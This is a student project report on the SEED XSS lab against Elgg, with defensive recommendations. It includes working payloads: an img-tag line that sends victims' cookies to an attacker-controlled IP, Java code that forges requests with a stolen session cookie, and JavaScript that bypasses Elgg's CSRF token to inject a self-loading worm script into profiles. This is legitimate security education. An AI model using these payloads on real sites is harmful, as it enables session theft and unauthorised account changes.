Demonstration of XSS attacks on Linux and Related Security Concerns

DUSTIN J WATSON

OJESH SHRESTHA

PATEL SAVANKUMAR

CNA 425 Project #1

*Table of Contents:*

1. Summery
2. Abstract
   1. Demonstrate security concerns and how XSS works within the lab
   2. The problem behind our work in the lab environment
   3. Methods
      1. Step 1: Step 1: Verify that code can be injected into the website
      2. Step 2: Show the cookie to the user
      3. Step 3: Send the cookie to a remote site
      4. Step 4: Create code that mimics a browsers HTTP requests with the cookie
      5. Step 5: Use methods to defeat Elgg TS and Elgg Token security methods
   4. Reasons for choice of test subject
   5. Results
   6. Conclude of our findings
3. Details about the SEED XSS Lab Test Case
4. Results of Step 1
5. Results of Step 2
6. Results of Step 3
7. Results of Step 4
8. Results of Step 5

***Summary:***

Cross-Site scripting (XSS) is a type of computer vulnerability found in web applications, such as web browsers through breaches of browser security, which enables attackers to inject client-side script into web pages viewed by other users.

Cross-site scripting is the process of taking advantaged of client server applications to inject code onto the web application using un-sanitized user input.

We aim to demonstrate and implement flaws in popular open source software and scripts that runs on a Linux environment via networking client and software relationship. We show the difficultly of XSS attacks, their practicality, and how they can may be prevented.

We will address various methods advantages or disadvantages in defense of such attacks. This may include costs, technical aspects and limitations, and any issues regarding to interference of quality service to customer/clients. We will cover methods of attack and their defenses and how they help to limit or prevent damage.

***Abstract:***

**Demonstrate issues regarding Cross Site Scripting (XSS) attacks works, its prevention, and considerations of security in Elgg and the associated LAMP stack lab:**

Cross-site scripting is a security exploit in which the attacker injects a malicious code in web applications. This security attack delivers malicious client-side scripts to a user’s web browser for execution. Vulnerable websites and web applications are used to carry out cross-site scripting attacks when a user interacts with these sites therefore the users are not affected directly. (Cross-Site Scripting (XSS), n.d.)

An attacker does not target a victim directly. Instead, an attacker would exploit vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script (e.g JavaScripts) to the victim’s browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits. (acunetix, n.d.)

XSS can be taken advantage of within ActiveX, Flash and VBScript but mostly abused is JavaScript because JavaScript is core to most browsers. In order to run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject a payload into a web page that the victim visits. Of course, an attacker could use social engineering techniques to convince a user to visit a vulnerable page with an injected JavaScript payload In order for an XSS attack to take place the vulnerable website needs to directly include user input in its pages. An attacker can then insert a string that will be used within the web page and treated as code by the victim’s browser.

**Demonstrate security concerns and how XSS works within the lab:**

Most cross site scripting start with looking for a test case of vulnerable code. The software has many holes and isn’t properly configured. Has a default page for apache2. Other misconfigurations can exist on a webserver that make it prone to attacks.

**The problem behind our work in the lab environment:**

We are trying to show that XSS is possible on misconfigured websites. Anatomy of XSS attack. Common Concerns regarding security and the prevention of such type of attacks.

**Our Methods:**

* Step 1: Verify that code can be injected into the website.
  + Post a test case using JavaScript alert().
* Step 2: Show the cookie to the user.
* Step 3: Send the cookie to a remote site.
* Step 4: Create code that mimics a browsers HTTP requests with the cookie.
* Step 5: Use methods to defeat Elgg TS and Elgg Token security methods.

XSS requires the forgery of legitimate browser by crafting HTTP requests that look like they are from the user’s browser with the correct cookie and TS details.

**Reasons for choice of test subject:**

The XSS SEED Lab was chosen for a test subject because it has well documented problems. The XSS SEED lab is ideal for people with limited coding experience. This describes our group well. The following are other factors that were included. Limited time for project, Limited skill from the group, and completing the project many levels of networking knowledge has to be used.

* Limited time
  + A custom created VM demonstration lab would take longer to create than the two months given for this project.
* Limited skill from the group
  + None of us have done this type of hacking before
  + Group members have limited or no or relevant experience with Java, JavaScript, PHP, and the HTTP protocol.
  + Provides a step by step method for executing the attack for students with limited understanding of XSS attack.
* Understanding of TCP-IP stack and HTTP protocol is required.
* The test case was targeted to our us, learners early in our security careers (AKA ScriptKidies (Security News))

**The Results:**

We were able to complete steps 1, 2, and 3 within the lab environment. Step 4 code was debugged and completed to the spec of the lab documentation. However, our group lacked the current understanding of how to run a java class to check its function. Step 5 was proven to make a valid POST request to the web server and update the profile. We had problems attacking Boby’s profile from an infected Alice Profile. This was because we had corrupted boby’s profile early in the project. We didn’t add the code to make the user add Samy as friend as our Elgg installation user configuration was corrupted and we had run out of time to work on the lab. Adding a user would only require adding a GET request using the same code with only minor changes. One required change a value from True to False while building the object for opening a connection. Each time the profile is updated; it could then call the addfriend script and add Sammy to the users’ friends list. To do this, adding the correct details including the cookie, TS, and token, along with the current username, and the added friend username.

**Conclude of our findings:**

XSS isn’t always the first line of attacks. XSS is normally the resolute of phishing or and/or data resonances. First, someone must find a foothold into a venerable system or user who will give access to data to allow an attack at the session id/cookie. The attacker needs to some information about how the system works; this could require the user to create an account themselves or to sniff network traffic of another user.

Webservers need oversight to insure they are properly configured. Penetration testing can find information that would enable phishing, footholds into the network, and/or the setup of attack vectors.

The major cost is in downtime and lack of accessibility. Costs in hiring full time regular staff to preform pen testing may be prohibitive for some organizations given the high salary of Pen testing Specialist.

**Details about the SEED XSS Lab Test Case:**

SEED Lab is a VM setup to teach cyber security professionals. It’s created by Wenliang Du of Syracuse University. We used the XSS (SEED Lab: A Hands-on Lab for Security Education) Professor Wenliang Du has prebuilt VM environment for preforming a various web application attacks including XSS attacks.

SEED LAB Software stack includes:

* Software LAMP Stack (Linux, Apache, MySQL, PHP)
* Linux is Ubuntu 12.04
* Apache is version 2
* MySQL
* PHP

On top of the LAMP stack runs Elgg

* Elgg is an Open source customizable social networking engine.
* Think Facebook or customizable training portal, the basic functionality of both could be copied with this software.

**Further Details about this SEED LAB:**

The environment has been setup by Profess Wenliang to be favorable to XSS attacks on Elgg. Many of the settings that protect from XSS are disabled. This includes: Xhack and Htmlspecialchars is disabled in the configuration. Htmlspeicalchars is a php library that formats html characters in such a way to prevent script injection. Xhack is a custom script for Elgg that also is used to defeat XSS attacks. (PhD)

The web app has three classic users: Alice, Bobby, and Sammy. Alice and Bob are used commonly in Security related documents as replacements for person A and B. (Schneier, 1993) Sammy is a reference to Samy Kamkar who came up with Sammy Worm that used XSS to attack MySpace in 2005 (Mook, 2005)

**Challenges to be overcome with this lab:**

Elgg’s Website Time Stamping and the Elgg security token. Both are used to insure that the page requested is from the page/site on the same side as expected. Both must match in order for the site to allow it to be processed. Without these, anyone with a valid user’s cookie could steal that user’s session.

**Step 1: Creating JavaScript Alert on a vulnerable website**

Most cross site scripting start with looking for a test case of vulnerable code. Our test case is no different. JavaScript Alert functions allows for testing with a user you control find if the server side is sanitizing user input from forms. See code 1.1

window.alert(“Vulnerable to XSS”);

Code: 1.1

To make this work, we attempted to post this code into all the available forms and on different users we had access with to the Elgg platform. It only worked when we turned off the rich text box and used ASCII only text in the profile page. We struggled for several hours to make it work. Even a simple feat requires being exact.

We found the best way to make it work was to include a <P></P> before the attack <SCRIPT> tag to make sure the browser was interpreting the text that followed as code and not as text.

It was also found that it was much easier call the code across a site than to try to embed it directly into the page. This allowed for quicker debugging and prevention of errors.

**Degree of challenge, time required, and practicality:**

Overall, this attack was challenging because of a lack of understanding in JavaScript. Once the JavaScript object of “window” was better understand it was easy. This attack isn’t very practical by itself. This only shows you if the site is prone to further actions or attacks. It doesn’t do anything but create a static pop up message. However, it is a gateway to step 2, allowing access to the user’s cookie.

**Step 2: Implementing JavaScript Alert to Display the Session ID on target’s computer**

For step 2, the following simple code shown below in 2.1 will be used. Again, this itself isn’t practical for gaining control of the user’s session. It doesn’t send the cookie to anywhere but the users screen. The user already has this information as its loaded within the source code of the webpage links that preform actions. What this step does do is that it shows that we can access the cookie. This cookie can then be sent to an attacker in the following step.

(window.alert(document.cookie);

Code: 2.1

For step 2, we also found it was much easier to remotely inject the code using a <script> tag pointing to an offsite webserver hosting the attack files. Both Step 1 and 2 codes were saved locally on the same machine using a default installation and configuration of apache2. More on the security concerns of this later in this paper.

**Step 3: Implementing a method of collecting cookies**

With both step 1 and 2 proven using the following code we were able to show that the attacker can send the cookie off the target site to a remote 3d party. The method used is a common one, the malformed <img> (image) tag. What this step requires is a way to log or sniff the traffic between the two webservers. Possible methods are Wireshark and apache’s own logs. We used Wireshark. See code 3.1, in this malformed tag, we are inserting the cookie and sending it to our webserver we have setup on the attacking system running Kali Linux. This code was placed in the webserver’s /var/www/html folder and named sendcookie.js.

document.write('<img src=http://192.168.0.172:80?c=' + escape(document.cookie) + ' >');

Code 3.1

We also had to start the apache2 webserver on Kali Linux. This required the following on the bash command line. 3.2

service apache2 start

Code: 3.2

Using Wireshark find the cookies required using the search method to narrow down the target address as the source using “tcp.addr” and using HTTP as the protocol. This search query in Wireshark is formed: (ip.addr == IP) && http. This helped us limit out all the other traffic that was captured. We found that we caught the cookie in the GET request to the fake image file on our webserver. Since we set the value of c key to equal our cookie, we should see something like this: GET /?c=Elgg Which we did indeed see this.

This part of the attack can easily takes over simple and poorly designed website scripts. It gives the attacker something useful to authenticate as the targeted user.

**Step 4: Implementing code that can make use of the stolen Session IDs (cookies)**

In this step forgery of the targeted user’s browser headers is the goal. Like previous steps, it’s a proof of concept to build on for the next level of attacks. None of us have much Java experience. However, after 8 attempts to debug the code, a class was compiled with the included cookie. Since none of us have had Java, this class was useless to us. However, he step was then abandoned as we didn’t have to do it to show that the site was vulnerable and the profile could be updated. See debugged code below in code 4.1.

Another problem with this step was that it had no way to add the correct Timestamp and Elgg token. This makes this part unpractical for use with attacking a user’s account.

Start code 4.1

import java.io.\*;

import java.net.\*;

//http://www.xsslabelgg.com/action/friends/remove?friend=40&\_\_elgg\_ts=1507924260&\_\_elgg\_token=c093845b0b1eef26d3ccfeea242dfda0

//GET /action/friends/add?friend=42&\_\_elgg\_ts=1507936860&\_\_elgg\_token=765eb4d58b4dce9d3a4a7acd933539b1 HTTP/1.1

public class HTTPSimpleForge {

public static void main(String[] args) throws IOException {

try {

int responseCode;

InputStream responseIn=null;

URL url = null;

String requestDetails = "&\_\_elgg\_ts=1507936860&\_\_elgg\_token=765eb4d58b4dce9d3a4a7acd933539b1";

String requestCookie = "3D8gaeebk3f42ue0chi1cfhdbgr7";

// String hostaddress = "";

// URL to be forged. URL

url = new URL ("http://192.168.0.46/XSS/elgg/action/friends/add?friend=42"+requestDetails);

// URLConnection instance is created to further parameterize a

// resource request past what the state members of URL instance

// can represent.

HttpURLConnection urlConn = (HttpURLConnection)

url.openConnection();

if (urlConn instanceof HttpURLConnection) {

urlConn.setConnectTimeout(60000);

urlConn.setReadTimeout(90000);

}

// addRequestProperty method is used to add HTTP Header Information.

// Here we add User-Agent HTTP header to the forged HTTP packet.

// Add other necessary HTTP Headers yourself. Cookies should be stolen

// using the method in task3.

urlConn.addRequestProperty("User-agent","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0"); //Updated the Agent to report the same browser.

//Alice's Cookie Packet:

//1 0.000000 192.168.0.46 192.168.0.172 HTTP 503 GET /?c=Elgg%3D8gaeebk3f42ue0chi1cfhdbgr7 HTTP/1.1

//Captured Headers from Alice's system

//GET /action/friends/add?friend=42&\_\_elgg\_ts=1507937813&\_\_elgg\_token=b70d9c1495144b4a35eba29058c8a43a HTTP/1.1

//Host: www.xsslabelgg.com

//User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0

//Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

//Accept-Language: en-US,en;q=0.5

//Accept-Encoding: gzip, deflate

//Referer: http://www.xsslabelgg.com/profile/samy

//Cookie: Elgg=8gaeebk3f42ue0chi1cfhdbgr7

//Connection: keep-alive

//New Code:

urlConn.addRequestProperty("Cookie", requestCookie);

//HTTP Post Data which includes the information to be sent to the server.

// String data = "name=...&guid=..";

String data = "GET /action/friends/add?friend=42" + requestDetails;

// DoOutput flag of URL Connection should be set to true

// to send HTTP POST message.

// urlConn.setDoOutput(true);

//My research on this lab shows that it isn't using POST, its using GET so we need to flip this condition

urlConn.setDoOutput(false);

// OutputStreamWriter is used to write the HTTP POST data

// to the url connection.

OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());

wr.write(data);

wr.flush();

// HttpURLConnection a subclass of URLConnection is returned by

// url.openConnection() since the url is an http request.

if (urlConn instanceof HttpURLConnection) {

HttpURLConnection httpConn = (HttpURLConnection) urlConn;

// Contacts the web server and gets the status code from

// HTTP Response message.

responseCode = httpConn.getResponseCode();

System.out.println("Response Code = " + responseCode);

// HTTP status code HTTP\_OK means the response was

// received sucessfully.

if (responseCode == HttpURLConnection.HTTP\_OK)

// Get the input stream from url connection object.

responseIn = urlConn.getInputStream();

// Create an instance for BufferedReader

// to read the response line by line.

BufferedReader buf\_inp = new BufferedReader( new InputStreamReader(responseIn));

String inputLine;

while((inputLine = buf\_inp.readLine())!=null) {

System.out.println(inputLine);

}

}

} catch (MalformedURLException e) {

e.printStackTrace();

}

}

}

End of code 4.1

**Step 5: Write JavaScript that is possible to update the user’s profile without their knowledge**

The main variable type that holds the entire user’s security information is a dict type in javascript named elgg.pageowner and session.user. These data structures hold both the Elgg token and the Timestamp and other session details.

Using escape() converts the human readable HTTP request into a format for HTTP headers.

The code was able to send a request with the correct Time Stamp, Elgg token, and cookie to update Alice’s profile each time her profile was loaded. The code would run because it was injected in the same method the stealing of cookies was done. The current user’s cookie was loaded into new script when run.

Start Code 5.1

var Ajax=null;

var token="&\_\_elgg\_token";

var ts="&\_\_elgg\_ts";

ts += "=" + elgg.security.token.\_\_elgg\_ts;

token += "=" + elgg.security.token.\_\_elgg\_token;

// Construct the header information for the HTTP request

Ajax=new XMLHttpRequest();

Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);

Ajax.setRequestHeader("Host","www.xsslabelgg.com");

Ajax.setRequestHeader("Keep-Alive","300");

Ajax.setRequestHeader("Connection","keep-alive");

Ajax.setRequestHeader("Cookie",document.cookie);

Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

// Construct the content. The format of the content can be learned // from LiveHTTPHeaders. var content="name=..&description=...&guid="; // You need to fill in the details.

// Send the HTTP POST request.

//\*\*\* Details on alices header info: \*\*\*

//

// http://www.xsslabelgg.com/action/profile/edit

//

// POST /action/profile/edit HTTP/1.1

// Host: www.xsslabelgg.com

// User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0

// Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

// Accept-Language: en-US,en;q=0.5

// Accept-Encoding: gzip, deflate

// Referer: http://www.xsslabelgg.com/profile/alice/edit

// Cookie: Elgg=3kmskkrh746mffcab7g2qkq4v3

// Connection: keep-alive

// Content-Type: application/x-www-form-urlencoded

// Content-Length: 680

// \_\_elgg\_token=e14d429d4656300f39fc325a4015dde0&\_\_elgg\_ts=1508191521&name=Alice&description=%3Cp%3E%26nbsp%3B%3C%2Fp%3E%0D%0A%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2F192.168.0.72%2Fbasic\_xss\_worm.js%22%3E%2F%2F+%3C%21%5BCDATA%5B%0D%0A%0D%0A%2F%2F+%5D%5D%3E%3C%2Fscript%3E&accesslevel%5Bdescription%5D=2&briefdescription=&accesslevel%5Bbriefdescription%5D=2&location=&accesslevel%5Blocation%5D=2&interests=&accesslevel%5Binterests%5D=2&skills=&accesslevel%5Bskills%5D=2&contactemail=&accesslevel%5Bcontactemail%5D=2&phone=&accesslevel%5Bphone%5D=2&mobile=&accesslevel%5Bmobile%5D=2&website=&accesslevel%5Bwebsite%5D=2&twitter=&accesslevel%5Btwitter%5D=2&guid=39

// HTTP/1.1 302 Found

// Date: Mon, 16 Oct 2017 22:05:26 GMT

// Server: Apache/2.2.22 (Ubuntu)

// X-Powered-By: PHP/5.3.10-1ubuntu3.14

// Expires: Thu, 19 Nov 1981 08:52:00 GMT

// Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

// Pragma: no-cache

// Location: http://www.xsslabelgg.com/profile/alice

// Content-Length: 0

// Keep-Alive: timeout=5, max=99

// Connection: Keep-Alive

// Content-Type: text/html

// \*\*\* Details lifted from VIEW SOURCE \*\*\*

// elgg.config.lastcache = 1506981214;

// elgg.config.viewtype = 'default';

// elgg.config.simplecache\_enabled = 1;

//

// elgg.security.token.\_\_elgg\_ts = 1508191526; Changes with each load

// elgg.security.token.\_\_elgg\_token = '38291e6c33097e61dce4c0400371ff83'; Changes with each load

//

// The following is the interesting vars we don't have yet. THis we can fill into the request to make it look like its coming from the profile owner.

// elgg.page\_owner = {"guid":39,"type":"user","subtype":false,"time\_created":"1410961457","time\_updated":"1508191526","container\_guid":"0","owner\_guid":"0","site\_guid":"1","name":"Alice","username":"alice","language":"en","url":"http:\/\/www.xsslabelgg.com\/profile\/alice"};elgg.session.user = new elgg.ElggUser({"guid":39,"type":"user","subtype":false,"time\_created":"1410961457","time\_updated":"1508191526","container\_guid":"0","owner\_guid":"0","site\_guid":"1","name":"Alice","username":"alice","language":"en","url":"http:\/\/www.xsslabelgg.com\/profile\/alice","admin":false});

//Before the DOM is ready, but elgg's js framework is fully initalized

// elgg.trigger\_hook('boot', 'system');// ]]>

// \*\*\* END DETAILS FROM VIEW SOURCE \*\*\*

//send AJAX request

var content = "";

//defete the defenses

content += token;

content += ts;

//payload goes here:

content += escape("<p>&nbsp;</p><script type='text/javascript' src='http://192.168.0.72/basic\_xss\_worm.js'>// <![CDATA[// ]]></script>");

window.alert(content);

content += "&guid=" + elgg.page\_owner["guid"];

content += "&name=" + elgg.page\_owner["name"];

window.alert(content);

Ajax.send(content);

Code 5.1 End

***Defense methods***

Defending against this strategy of attacks requires some system hardening. First off, turning on default XSS protection in the software as stated in SEED XSS description page (PhD).as stated in the details covered above in this paper regarding the SEED XSS lab. Second, this lab is running a default apache2 install which is displaying that out to anyone would types the address of the host into a browser. This exposer is showing that the system may be incorrectly configured or not configured. This allows attackers a foothold on the network and system.

The lab environment uses a very old and unsupported version of Ubuntu. The whole distro would need to be updated. This would increase downtime. It may require testing to make sure all the parts of the software still work as expected. Following the Linux hardening check list would also be advisable (SCORE: Checklists & Step-by-Step Guides, 2016)

It is very important to state how important it is to sanitize all input and control how cookies are used. As stated in Hacking Exposed 7, Change all the HTML special characters to their HTML equivalent and storing that in its place, (Stuart McClure, 2012, p. 558) is key to proving this type of attack. A second method is is to use HttpOnly. It markets cookies as HttpOnly, thus preventing them from being accessed by scripts, even if your application has XSS vulnerability, if your users use a newer browser, the malicious payload can’t reach it. (Stuart McClure, 2012, p. 559)

Other actions that could be taken to prevent attacks include implementing regular web scanning and pen testing to find holes in the system and its code. This includes using scanners like Nikto, Neuss, Rational AppScan, or HP WebInspect. Our attack system has Nikto installed; we ran it to find out what type of output it would generate on our known vulnerable lab system.

- Nikto v2.1.6/2.1.5

+ Target Host: 10.0.2.5

+ Target Port: 80

+ GET Server leaks inodes via ETags, header found with file /, inode: 2231587, size: 177, mtime: Wed Aug 14 19:27:14 2013

+ GET The anti-clickjacking X-Frame-Options header is not present.

+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ GET Uncommon header 'tcn' found, with contents: list

+ GET Apache mod\_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html

+ OPTIONS Allowed HTTP Methods: POST, OPTIONS, GET, HEAD

+ GET Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.14

+ OSVDB-3233: GET /icons/README: Apache default file found.

+ GET /phpmyadmin/: phpMyAdmin directory found

+ OSVDB-3092: GET /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.

It shows that The X-XSS-Protection header is not defined. This line returned in our search is relevant to our goal of defending against an XSS attack. This should be correctly configured into the webserver to reflect our goal of protecting against XSS. However, this is client side, and requires the client browser to follow this instruction.

These types of scans that are commonly run on a webservers looking for open holes to attack to spread malware or other attacks.

Another related method is reducing the amount of information being leaked and finding what information has already been leaked. This method includes using Google Hacking methods attackers might use to find the information already covered such as the default apache webpage was exposed. Google can find sites like these with commands: Intitle: “Test Page for Apache Installation” “You are free” or Intitle: “Test Page for Apache” “It worked!” (Lang, 2005, p. 243) This is a short list specialized search queries. Another detail that might be found with google are the passwords and user lists for your webserver. The idea about why this is important is that your site might be hosting illicit code that enables XSS attacks, like in our test case for step 1-2. They might also be able to get a foothold on your network an steal user sessions.

Several tools exist to make scanning with google simpler; however, use may violate Googles Terms of Service. Gooscan by Johnny Long is a tool to find information you may be leaking with google. (Lang, 2005, p. 333) It uses a UNIX like interface. Use at your own risk as automatic script based searching with Google Violates TOS. (Lang, 2005)

Preventing Phishing is another method to prevent session stealing of users. Phishing is one of the top 5 popular methods to have clients give up sensitive data like cookies or other details needed to gain access to a session. (Forrest, 2017) Provide internal and external users Anti-Phishing Training and alerts. This could be as easy as explaining what type of communications is sent to users of your website and how they are formatted. This helps users avoid fake emails. For example, PayPal always has your full name on file at the top of the email and has other common marks of a real email. (How can I tell if an email is genuinely from PayPal?) Phishing is normally the most common way to trick a user into running code. With XSS, this is no different. Another way would to be implement user/client based Anti-Phishing methods. However, as a website operator, you have no control over your clients’ software.

Another method could include implementing IPS to look for phishing attacks or cookies leaving via 3rd party sites. (Network IDS & IPS Deployment Strategies, 2008) This requires someone with a direct understanding of how to configure the IPS for your web software platform, in our case Elgg.

Elgg could be better at preventing cookie theft by matching IP address to the user’s cookie. This would require the attacker to code a way to steal the user’s IP address as well (Weiss, 2012).

***Costs of Implementation:***

Cost of network scanners and scanning services can vary drastically. Nessus costs 1500 upfront, and 1200 per year. (Stephenson, 2015) Nikto is GPL, which means free. No matter what scanner is used, it isn’t much good without someone skilled in interpreting the output of the scanner used. Most of the cost for a Penetration test is not in the software, but in the skilled labor need to find threats such as XSS. According to CompTIA and others, the job title is Penetration & Vulnerability Tester; Annual average Salary is 101,000 (Cybersecurity Career Pathway, 2017).

Other requirements of cost include loss of uptime and the impact to users. Assuming this webserver was running at the time of the case study and a XSS attacker (us) made it clear the website had an issue that needed to be address, the resulting downtime could be several days. In the case of MySpace the website had to be shut down while all the pages were cleared of the malicious code. In the case, the system would have to be down for most of a day in order to update the no longer supported Ubuntu 12.04 LTS to a supported version. (Askubuntu, 2011) Assuming the system was used for serious business or production, a round of testing would take place to QA the system.

In the end, any good penetration testing should have found that httpspecialcharacters was missing from the PHP configuration. Overall, the real cost as MySpace found it was from downtime which could have been prevented by proper testing and QA of the site.

# Works Cited

(n.d.). Retrieved from acunetix.

*Askubuntu*. (2011, Dec 21). Retrieved Oct 20, 2017, from How long does a distribution upgrade normally take?: https://askubuntu.com/questions/89365/how-long-does-a-distribution-upgrade-normally-take

*Cross-Site Scripting (XSS)*. (n.d.). Retrieved from RAPID7: https://www.rapid7.com/fundamentals/cross-site-scripting/

*Cross-Site Scripting in HTTP Headers*. (2014, Feb 24). Retrieved Oct 20, 2017, from ACUNETIX.com: https://www.acunetix.com/blog/articles/xss-http-headers/

*Cybersecurity Career Pathway*. (2017). Retrieved 10 07, 2017, from Cyberseek.org: http://cyberseek.org/pathway.html

*developer.mozilla.org*. (n.d.). Retrieved Oct 11, 2017, from Window.alert: https://developer.mozilla.org/en-US/docs/Web/API/Window/alert

Forrest, C. (2017, July 26). *Report: The top 5 cybersecurity threats of 2017*. Retrieved Oct 14, 2017, from TechRepublic: http://www.techrepublic.com/article/report-the-top-5-cybersecurity-threats-of-2017/

Glover, G. (2015, April 15). *How Much Does a Pentest Cost?* Retrieved 10 08, 2017, from http://blog.securitymetrics.com: http://blog.securitymetrics.com/2015/04/penetration-test-cost.html

*How can I tell if an email is genuinely from PayPal?* (n.d.). Retrieved Oct 20, 2017, from paypal.com: https://www.paypal.com/uk/selfhelp/article/how-can-i-tell-if-an-email-is-genuinely-from-paypal-faq2061

Lang, J. (2005). *Google Hacking.* Rockland: Syngress Publishing, Inc.

Mook, N. (2005). *betanews*. Retrieved Oct 14, 2017, from Cross-Site Scripting Worm Hits MySpace: https://betanews.com/2005/10/13/cross-site-scripting-worm-hits-myspace/

*Network IDS & IPS Deployment Strategies*. (2008, April 2). Retrieved Oct 23, 2017, from SANS Institute: https://www.sans.org/reading-room/whitepapers/detection/network-ids-ips-deployment-strategies-2143

Pement, E. (2005, Dec 29). *USEFUL ONE-LINE SCRIPTS FOR SED (Unix stream editor)*. Retrieved Oct 20, 2017, from Sourceforge.net: http://sed.sourceforge.net/sed1line.txt

PhD, W. D. (n.d.). *Cross-Site Scripting (XSS) Attack Lab (Web Application: Elgg)*. Retrieved OCT 14, 2017, from SEED Labs: http://www.cis.syr.edu/~wedu/seed/Labs\_12.04/Web/Web\_XSS\_Elgg/Web\_XSS\_Elgg.pdf

Pietschmann, C. (2015, Sept 5). *http://pietschsoft.com*. Retrieved Oct 16, 2017, from JavaScript Basics: How to create a Dictionary with Key/Value pairs: http://pietschsoft.com/post/2015/09/05/JavaScript-Basics-How-to-create-a-Dictionary-with-KeyValue-pairs

Rennick, A. (2011, September 16). *studiopress.com*. Retrieved Oct 16, 2017, from Using Firebug to Troubleshoot and Customize CSS: https://www.studiopress.com/using-firebug/

Schneier, B. (1993). *Applied Cryptography: Protocols, Algorithms, and Source Code in C.*

*SCORE: Checklists & Step-by-Step Guides*. (2016, January). Retrieved Oct 08, 2017, from SCORE: Seucrity Check List: https://www.sans.org/media/score/checklists/LinuxCheatsheet\_2.pdf

*Security News*. (n.d.). Retrieved Oct 14, 2017, from What is a Script Kiddie?: http://www.pctools.com/security-news/script-kiddie/

*SEED Lab: A Hands-on Lab for Security Education*. (n.d.). Retrieved Oct 14, 2017, from Cross-Site Scripting Attack Lab (Elgg): http://www.cis.syr.edu/~wedu/seed/Labs\_12.04/Web/Web\_XSS\_Elgg/

Stephenson, P. (2015, March 2). *Tenable Network Security Nessus*. Retrieved 10 7, 2017, from scmagazine: https://www.scmagazine.com/tenable-network-security-nessus/review/6977/

Stuart McClure, J. S. (2012). *Hacking Exposed 7 Network Security Secrets & Solutions.* McGraw Hill.

*W3School.com*. (n.d.). Retrieved Oct 10, 2017, from Window alert() Method: https://www.w3schools.com/jsref/met\_win\_alert.asp

Weiss, A. (2012, August 28). *eSecurityPlanet.com*. Retrieved Oct 23, 2017, from How to Prevent Cross-Site Scripting (XSS) Attacks: https://www.esecurityplanet.com/browser-security/how-to-prevent-cross-site-scripting-xss-attacks.html

*www.w3schools.com*. (n.d.). Retrieved Oct 16, 2017, from IF Statment: https://www.w3schools.com/js/js\_if\_else.asp